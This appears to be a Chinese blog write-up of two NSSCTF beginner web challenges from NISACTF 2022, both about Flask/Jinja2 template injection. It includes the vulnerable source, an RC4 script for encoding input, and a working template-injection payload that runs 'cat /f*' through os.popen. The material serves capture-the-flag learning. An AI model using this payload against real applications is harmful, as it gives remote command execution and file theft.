nssctf web 入门(10)

 

[NISACTF 2022]midlevel

[NISACTF 2022]midlevel

nssctf web 入门(10)_第1张图片

nssctf web 入门(10)_第2张图片

 尝试使用x-forwarded-for 发现可行判断是不是ssti

nssctf web 入门(10)_第3张图片

 确定是ssti模板注入

nssctf web 入门(10)_第4张图片

 nssctf web 入门(10)_第5张图片

[NISACTF 2022]is secret

[NISACTF 2022]is secret

nssctf web 入门(10)_第6张图片

根据这个我们去看看secret 

nssctf web 入门(10)_第7张图片

 这里看到这个猜测是通过get传入secret的值然后会机密我们的值

nssctf web 入门(10)_第8张图片

 nssctf web 入门(10)_第9张图片

我们发现传入的值为5位数时页面错误

 nssctf web 入门(10)_第10张图片

 根据这个页面我们知道了里面有app.py tempkating.py environment.py等py文件

nssctf web 入门(10)_第11张图片

if(secret==None):  #判断secret是不是空
        return 'Tell me your secret.I will encrypt it so others can\'t see' #是则返回Tell me your secret.I will encrypt it so others can\'t see
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密 通过rc4方法 密钥是HereIsTreasure
    deS=rc.do_crypt(secret)                 #通过do_crypt对secret解密并赋值给deS
 
    a=render_template_string(safe(deS)) #通过Flask框架的render_template_string将解密后的结果deS渲染为模板字符串a safe函数对deS进行安全处理,防止xss漏洞
 
    if 'ciscn' in a.lower():  #检测a中是否包含ciscn忽略大小写
        return 'flag detected!'    #返回消息flag detected!
    return a #返回a即解密后的a
 

 这里涉及Flask服务器

ssti漏洞一般会造成任意文件读取漏洞和rce远程控制后台系统

漏洞成因是因为没有严格控制用户的输入

我们寻找ssti漏洞常用2*2这种因为在模板注入中{{str}}中如果而str是如果get post传递的值那有两总结果是输出2*2和4结果等于4证明执行了2*2返回了结果存在ssti 所以我们使用输入{{2*2}}或者直接传入2*2

nssctf web 入门(10)_第12张图片

  

这里绿线代表返回值就是49红线代表返回{{7.7}}

先了解render_template_string

render_template_string函数在Flask框架中,render_template_string会将传入的模板字符解析为jinjia2模板语句,并将其编译成python代码 也就是通过render_template_string会将字符串变成python代码

这里要rec加密我们就网上找个

import base64
from urllib import parse
 
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
 
def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
 
key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

{{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}

config在这个代码片段中,使用config作为占位符是因为这个变量在模板渲染时已经存在

class 魔术方法用于查找父类这里用于查找‘’也就是字符串的父类  

init魔术方法代用于初始化操作

__globals__是pytohn中函数和方法对象的一个属性

__globals__['os']代表使用os模块

.popen()方法咱操作系统中打开一个子进程,并执行cat /f*的命令

.read()通过read方法从子进程中读取出数据

nssctf web 入门(10)_第13张图片

 

 nssctf web 入门(10)_第14张图片

 

你可能感兴趣的:(nssctf,web入门,java,开发语言)